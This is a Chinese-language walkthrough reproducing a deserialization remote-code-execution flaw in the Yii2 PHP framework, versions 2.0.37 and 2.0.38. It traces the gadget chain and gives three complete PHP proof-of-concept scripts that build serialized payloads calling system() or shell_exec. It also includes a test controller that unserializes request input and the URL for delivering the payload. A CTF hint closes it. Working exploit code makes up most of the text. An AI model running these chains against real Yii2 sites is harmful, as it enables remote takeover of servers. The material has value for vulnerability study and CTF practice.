Yii2漏洞复现
环境准备:
1.win10
2.PHPstudy :php版本7.3.4
3.yii2版本:2.0.37和2.0.38
环境的安装准备:
1.phpstudy的安装就不多说了,关键后面要运行php,建议吧php放进环境变量中(可以百度一下)
2.搭建yii2,可以去github下载。
https://github.com/yiisoft/yii2/releases/tag/2.0.37
下载好后解压在phpstudy的www下就行了,然后改一下yii/config/web.php,我图片中的那个随便改一下就行了
然后进入目录执行命令,我的是在C盘下的秘钥分盘,建议换盘进行。
php yii serve
这个样子差不多就好了,然后访问
http://localhost:8080/
就可以看到这个画面就搭建成功了
漏洞分析:
漏洞的出发点是在\yii\vendor\yiisoft\yii2\db\BatchQueryResult.php
文件中,
这里调用reset()
方法,跟进查看reset()
方法
并且这里$this->dataReader
可控,可以调用不存在close()
方法并且存在__call()
方法的类,就是找一个跳板。$this->_dataREader->close()
这里可以利用魔术方法__call
,于是开始全局搜索__call
。在\yii\vendor\fzaninotto\faker\src\Faker\Generator.php
文件中
跟进format
跟进查看getFormatter
format
里调用了call_user_func_array
,$formatter
与$arguments
都不可控,目前$formatter='close'
,$arguments
为空。$formatter
传入了$this->getFormatter
,在这个方法中,$this->formatters
是可控的,这也就意味着getFormatter
方法的返回值是可控的。
也就是说all_user_func_array
这个函数的第一个参数可控,第二个参数为空
现在可以调用yii框架中的任何一个无参的方法。所以,要找一个无参数的方法,在这个方法中我们可以实现任意代码执行或者间接实现任意代码执行。
查找调用了call_user_func
函数的无参方法。
构造正则
function \w+\(\) ?\n?\{(.*\n)+call_user_func
查看IndexAction.php
中的run
方法
可以看到$this->checkAccess
以及$this->id
都可控,构成利用链
yii\db\BatchQueryResult::__destruct() -> Faker\Generator::__call() -> yii\rest\IndexAction::run()
这上面的分析我借鉴大佬的博客,
要执行的链子POC:
在yii目录下创建poc.php
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'system';
$this->id = 'dir';
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
$this->formatters['close'] = [new CreateAction(), 'run'];
}
}
}
namespace yii\db{
use Faker\Generator;
class BatchQueryResult{
private $_dataReader;
public function __construct(){
$this->_dataReader = new Generator;
}
}
}
namespace{
echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>
验证payload,因为这仅仅是一个反序列化利用链,所以还需要一个反序列化的入口点,这个需要自己构造
在controllers目录下创建一个Controller:
<?php
namespace app\controllers;
use Yii;
use yii\web\Controller;
use yii\filters\VervFilter;
use yii\filters\AccessControl;
use app\models\LoginForm;
class TestController extends \yii\web\Controller
{
public function actionSss($data){
return unserialize(base64_decode($data));
}
}
?>
然后用cmd在当前目录下执行这个poc
php poc.php
http://localhost:8080/index.php?r=test/sss&data=[payload]
然后运用hackbar进行RCE。要注意rce的点在哪里啊,多的就不解释了;这个样子差不多漏洞就复现完成了;
POC2链子:
利用链2
Swift_KeyCache_DiskKeyCache -> phpDocumentor\Reflection\DocBlock\Tags\See::__toString()-> Faker\Generator::__call() -> yii\rest\IndexAction::run()
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'system';
$this->id = 'ls';
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
// 这里需要改为isRunning
$this->formatters['isRunning'] = [new CreateAction(), 'run'];
}
}
}
// poc2
namespace Codeception\Extension{
use Faker\Generator;
class RunProcess{
private $processes;
public function __construct()
{
$this->processes = [new Generator()];
}
}
}
namespace{
// 生成poc
echo base64_encode(serialize(new Codeception\Extension\RunProcess()));
}
?>
同上运行这个poc2.php。
POC3链子:
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'system';
$this->id = 'dir';
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
// 这里需要改为isRunning
$this->formatters['render'] = [new CreateAction(), 'run'];
}
}
}
namespace phpDocumentor\Reflection\DocBlock\Tags{
use Faker\Generator;
class See{
protected $description;
public function __construct()
{
$this->description = new Generator();
}
}
}
namespace{
use phpDocumentor\Reflection\DocBlock\Tags\See;
class Swift_KeyCache_DiskKeyCache{
private $keys = [];
private $path;
public function __construct()
{
$this->path = new See;
$this->keys = array(
"axin"=>array("is"=>"handsome")
);
}
}
// 生成poc
echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
}
?>
同上执行:
以上就是复现的漏洞结果;下面是ctf题;
在ctfshow里面的反序列化中也可以利用这个poc
但是在执行命令的时候system这个函数不用了,可以试试shell_exec
shell_exec — 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。
参考借鉴:
https://www.cnblogs.com/thresh/p/13743081.html
https://blog.csdn.net/xuandao_ahfengren/article/details/111259943